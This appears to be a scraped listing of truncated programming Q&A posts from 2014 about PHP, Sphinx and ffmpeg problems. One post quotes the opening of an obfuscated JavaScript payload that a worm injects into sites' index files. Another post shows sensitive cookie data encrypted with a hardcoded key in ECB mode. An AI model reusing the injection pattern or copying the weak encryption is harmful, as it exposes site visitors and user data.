UnKnown Error
j0k
php symfony-1.4 2014-3-4 16:04:12
This is really strange. I have two time values.First time: $t1 = 1311165885;Second time (which is bigger than the first time): $t2 = 1312049530;I am going to subtract the times like this:$diff = $t2-$t1;When I do an echo $diff this is coming out:echo ‘Time_diff: ‘ . $diff; Time_diff: -1311163874The actual result should be 883645. What is wrong?Thanks in advance!CraphunterThen here is my code:<?php $current_time = DataConverter::makeDatetime();foreach ($order as $list) {echo ‘———–‘.’
Johnzo
php autocomplete sphinx 2014-3-4 16:03:05
I’m working on a sphinx (php) enabled autocomplete field that does a look up of users. I’m running into some odd situations where certain inputs which should return matches do not. The fields in my users index are:’fullname’, ‘username’, ‘address’, ‘phone’, ’email’Some general config info:charset_type = utf-8 enable_star = 1 min_infix_len = 3 ignore_chars = U+20My current query is set up as follows:$search = preg_replace(‘/([^\s]{3,})/’, ‘*$1*’, preg_replace(‘/[^a-z ]/i’, ”, $search)); $s
Nagri
php arrays foreach 2014-3-4 15:55:28
I have this code$arr = array(“0″=>”http://site.com/somepage/param1/param2/0″,”1″=>”http://site.com/somepage/param1/param2/1″,”thispage” => “http://site.com/somepage/param1/param2/2”,”3″=> “http://site.com/somepage/param1/param2/3” );foreach ($arr as $k=>$v) {if ($k == “thispage”) {echo $k.” “;}else {echo ‘<a href=”‘.$v.'”>’.$k.'</a> ‘;} }Its surprise, for first element “0”=>”http://site.com/somepage/param1/param2/0″, not created link, (for other elements works fine)
Martin Fjordvald
php web-development 2014-3-4 15:49:18
I have downloaded the APC-3.1_9.tgz official version.When I followed the steps:tar -xzvf APC-3.1_9.tgz cd APC-3.1_9 phpize ./configure –enable-apc –enable-apc-mmap –with-php-config=/usr/bin/php (the command “which php” outputs /usr/bin/php) makeI got the following error:/bin/bash /tmp/APC-3.1.9/libtool –mode=compile cc -I. -I/tmp/APC-3.1.9 -DPHP_ATOM_INC -I/tmp/APC-3.1.9/include -I/tmp/APC-3.1.9/main -I/tmp/APC-3.1.9 Usage: php [options] [-f] <file> [–] [args…] php [options] -r <
good_evening
php cookies mcrypt 2014-3-4 15:42:51
I use simple_encrypt to store some sensitive information in the cookie. When I try to decrypt it with simple_decrypt, it doesn’t give the same string. When I try to output that string after simple_decrypt I get chars with symbols like ?. What’s wrong?$salt =’sososo222xxxXXsder3FVRE’; function simple_encrypt($text) {global $salt;return mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $salt, $text, MCRYPT_MODE_ECB); }function simple_decrypt($text) {global $salt;return mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $salt,
sqn
php syntax 2014-3-4 15:42:16
I’ve been working on something for the past few days but this one bit of code perpetually throws an unexpected T_ECHO. My friends can’t seem to find anything wrong with it and I’m at the edge of my patience. Even with the nested while loop removed it still throws an error and I switched to the while: endwhile; syntax as well and I’m still getting it. I’m sure the answer is staring me in the face but I probably can’t see it.while ($row = mysql_fetch_array($result, MYSQL_ASSOC)): echo “&
MrFidge
php shared-hosting 2014-3-4 15:37:27
Has anyone else seen this crop up a lot recently? I’ve had several sites go down with this error. Parse error: syntax error, unexpected ‘<‘ in /home/public_html/index.PHP on line 39It’s caused by a worm / injection attack which dumps the following code seemingly at random throughout any index.php / index.html files it’s able to find:<html><body><script>date=new Date();var ar=”Aw’zg>lpNu1m<0]c;erCy,aTnhE={s}i B() :[.\”ofbvdt/”;try{gserkewg();}catch(a){k=new Boolean().to
learn
javascript php jquery json uploadify 2014-3-4 15:25:50
I’m currently using the uploadify jQuery plugin to upload images to a folder. The image upload part works fine but when I try to add extra form data it gives me the error Uncaught SyntaxError: Unexpected token x.I’m retrieving data as JSON array and my response header content type is application/json but unsure why it’s throwing this error.My question is: based on the code below why is this error occurring and what would be a solution?jQuery:$(‘#userfile’).uploadify({‘auto’:false,’swf’: base_url
Steven V
php wordpress 2014-3-4 15:10:59
This question already has an answer here:Unexpected bracket [ – PHP3 answersI’ve been working on this code error for my worpress site offline.Parse error: syntax error, unexpected ‘[‘ in C:\Users\guyzer\Desktop\InstantWP_4.3\iwpserver\htdocs\wordpress\wp-content\themes\thesis_182\custom\custom_functions.php on line 169Line code error line 169: $post_date = explode(” “, $post_event)[0];On the live site, site is working but when i duplicate the live site using duplicator and transfer to offline or
Ashish Yadav
php 2014-3-4 15:09:35
I am getting this error in this PHP code on line 3, what could be wrong? This code has been taken from php manual user notes by frank at interactinet dot com<?phppublic function myMethod() { return ‘test’; }public function myOtherMethod() { return null; }if($val = $this->myMethod()) {// $val might be 1 instead of the expected ‘test’ }if( ($val = $this->myMethod()) ) { // now $val should be ‘test’ }// or to check for false if( !($val = $this->myMethod()) ) { // this will not run since
dcolumbus
memory video coldfusion ffmpeg 2014-2-10 10:10:26
So my application allows for users to upload video, convert it using FFMPEG and then transfer it over to the Flash Media Server. Lately, I’ve run into an issue.If ever there is an error when converting video, I automatically generate cfcatch report PDF. This time I came across a “Cannot allocate memory” error. This massively concerns me because I’m about to promote my system out and I can’t afford for the scripts to stop running within the first few hours.Is there a way to clean up the memory is
Faller
ffmpeg cross-compiling libav 2014-2-8 6:37:58
when i configure libav in ubuntu, there’s an warning like thisWARNING: i586-mingw32msvc-pkg-config not found, library detection may fail.here’s my configure code../configure –target-os=mingw32 –cross-prefix=i586-mingw32msvc- –arch=x86 –prefix=/usr/local/win32 –enable-memalign-hack –disable-gpl –disable-avisynth –disable-postproc –enable-runtime-cpudetect –disable-encoders –disable-muxers –disable-network –disable-devices –enable-shared
erickson
java video ffmpeg flv 2014-2-8 5:19:12
does anybody know how to convert any kind of video format into flv using java, i have been searching for a java api for converting video but it seems that there is no such thing but there might be a way to do it, i mean to make something like youtube service does converting the videos, but using java, i need a web application that can show videos into FLv Format but to be uploaded in any format, if somebody has made something like this please let me know how or any idea, thanks.
Grifo
c++ windows networking opencv ffmpeg 2014-2-5 22:00:06
I’m using openCV 1.1pre1 under Windows. I have a network camera and I need to grab frames from openCV. That camera can stream a standard mpeg4 stream over RTSP or mjpeg over http. I’ve seen many threads talking about using ffmpeg with openCV but I cannot make it work.How I can grab frames from an IP camera with openCV?ThanksAndrea
OMG Ponies
osx ffmpeg x86 osx-lion 32bit-64bit 2014-2-2 1:15:15
I’m running 64-bit Lion but I need to compile a 32-bit version of ffmpeg because another library I’m using is only available as 32-bit. I’ve tried a number of different configurations but they’re all giving me errors. Here’s what I’ve tried:./configure –disable-static –enable-shared –disable-outdev=sdl –disable-bzlib –disable-libfreetype –disable-libopenjpeg –enable-zlib –enable-runtime-cpudetect –arch=i386 –extra-cflags=”-arch i386″ –extra-ldflags=”-arch i386″ –target-os=darwin –en
Felix
image video ffmpeg flv 2014-2-1 9:39:26
Now I am trying to convert a few jpg files and a mp3 to flv file.The ffmpeg command can do this.ffmpeg -loop 1 -i image.jpg -i music.mp3 -shortest -c:v libx264 -crf 20 -tune stillimage -c:a copy output.mkvbut I must use this function in my java project ):Are there any java opensource projects?thanks 🙂
Andrew Thompson
java tomcat ffmpeg runtime.exec 2014-2-1 8:48:53
I am trying to run the following ffmpeg command using java exec call. It works well in a 32bit computer but in 64 bit computer it doesn’t work. Can someone please help me to solve this issue. When I try the same command in command prompt as admin it works. Here the target is to create a video file in the tomcat. But when I try as a normal user in commandprompt it didn’t work. Can this be an issue with tomcat privileges ?
dagur
dll ffmpeg windows-xp mingw32 2014-1-31 13:59:32
I’m trying to deploy an application that uses ffmpeg to stream camera output to an XP machine. The application is written compiled with gcc mingw32 and runs fine on Windows 8. But on Windows XP I get the following error:The procedure entry point strncpy_s could not be located in the dynamic link library msvcrt.dllGCC command, excluding paths:g++ -o mingw\streamer.exe src\testffmpeg.o -lavformat -lavutil -lavcodec -lFlyCapture2_C_v100Dependency walker shows the following:How can I work around th
Berschi
c++ c qt qt4 ffmpeg 2014-1-30 22:47:31
I want to include the libavcodec in my Qt-project. Should I do that with#include <ffmpeg/libavcodec.h>or with something more Qt, for exampleQLibrary mylib(“libavcodec”);And also a question to understand if I really got it: To use libavcodec, do I need to import the source-files or the .dll?
Oleg
xcode4 ffmpeg linker-error libav non-lazy-ptr 2014-1-27 4:33:08
I’m trying to build a simple application that uses ffmpeg’s libav* libraries in xcode 4 and getting the following error:ld: illegal text reloc to non_lazy_ptr from /ffmpeg/temp/ffmpeg-0.8/builduni/lib/libavcodec.a(ac3.o) in _ff_ac3_bit_alloc_calc_psd for architecture i386I’ve already tried to run ranlib -c libavcodec.a to fix this problem, but nothing happend. One more thing: my libav* libraries are fat binaries (i386 + x86_64).Any ideas what can it be?